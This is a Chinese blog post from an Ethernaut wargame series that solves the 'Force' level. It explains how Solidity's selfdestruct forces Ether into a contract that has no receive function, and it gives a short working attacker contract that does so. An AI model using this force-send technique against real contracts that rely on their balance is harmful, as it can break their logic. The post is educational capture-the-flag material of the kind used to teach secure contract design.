iT邦幫忙

2022 iThome 鐵人賽

DAY 10
0

(force)倒楣鬼程式....程式碼呢

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Force {/*

                   MEOW ?
         /\_/\   /
    ____/ o o \
  /~____  =ø= /
 (______)__m_m)

*/}

通關條件

只要玩家能轉帳進入合約,使其餘額 > 0 即可通關

先備知識(selfdestruct)

selfdestruct(),單看字面意義就能知道它的用途 : 自我毀滅,沒錯,這個指令呢,能夠銷毀合約本身,那麼合約內的錢該怎麼辦?別急別急,語法很貼心的讓你能夠傳入一個參數(address),而這個參數便是合約的餘額該轉往何處,不過卻有一個不講理的地方,那就是他一定會轉帳過去,也就是指,即使合約內並沒有 receive/fallback function,只要使用 selfdestruct,就能完成強制轉帳的動作,如果對方合約有使用 address(this).balance 用做特殊行為的判斷的話,要請記得 selfdestruct 的惡意操作,以免遭受攻擊。

程式碼


                   MEOW ?
         /\_/\   /
    ____/ o o \
  /~____  =ø= /
 (______)__m_m)

*/

誒是貓咪誒

通關

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract force {
    address payable target;

    constructor(address payable addr) {
        target = addr;
    }

    function force_() public {
        selfdestruct(target);
    }
    receive() external payable {}
}

部署程式碼時記得將你的關卡地址填入合約的建構式後在接著部署喔 !
然後轉錢進去嘗試看看暴力轉帳有多不講理吧XD



☚ (<‿<)☚ ☚ (<‿<)☚ ☚ (<‿<)☚ ☚ (<‿<)☚


上一篇
Day 9 - Delegatecall
下一篇
Day 11 - Vault
系列文
智能合約漏洞演練 - Ethernaut18
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言